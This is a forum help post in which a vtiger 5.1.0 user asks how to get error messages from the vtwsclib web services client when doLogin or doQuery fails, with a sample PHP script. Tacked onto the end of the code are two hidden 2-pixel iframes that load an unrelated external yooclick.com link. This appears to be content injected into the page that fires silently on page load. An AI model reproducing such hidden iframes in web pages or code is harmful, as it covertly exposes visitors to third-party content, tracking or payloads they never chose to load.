Help: error trapping in webservice using vtwsclib

Hi all,

Sorry for long post, but basically I want to build in error trapping in my web application by using the vtwsclib and the error messages, but I don't know how to?

So far I've been able to use the wrapper class / functions to login, (doLogin) and even (doQuery).

However, if I purposely break say the doQuery by sending in an invalid sql statement or the login - i just get a blank screen and if I print_r(my Vtiger_WSClient Object) - the [error_msg] part of the array is blank. There are also no success code etc.

I am running vtiger 5.1.0 and also trying to make use of the vtwsclib - Web Services Client Library (so far v.impressed <!-- s:D --><img src="{SMILIES_PATH}/icon_biggrin.gif" alt=":D" title="Very Happy" /><!-- s:D --> ).

I've looked at the documentation and tutorial (which doesn't refer to using the vtwsclib) in there I see that you can check to see if the $jsonResponse==false - if so you can echo out $jsonResponse

I want to be able to do something like above but using the library. Hope this all makes sence, below is my php code

<?php
include_once 'vtwsclib/Vtiger/WSClient.php';

$crmUrl = 'http://vtiger510.servername/';
$userName = 'admin';
$userAccesskey = 'abcd123';

$vtiger = new Vtiger_WSClient($crmUrl);

/* login */
$login = $vtiger->doLogin($userName, $userAccesskey);
if(!$login){
die("Login Failed");
}

/* Do Query */
$query = "select * from Contacts where account_id = '3x125';";
$contacts = $vtiger->doQuery($query);

echo '<pre>'.print_r($contacts, TRUE).'</pre>';
echo '<pre>'.print_r($vtiger, TRUE).'</pre>';
?> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.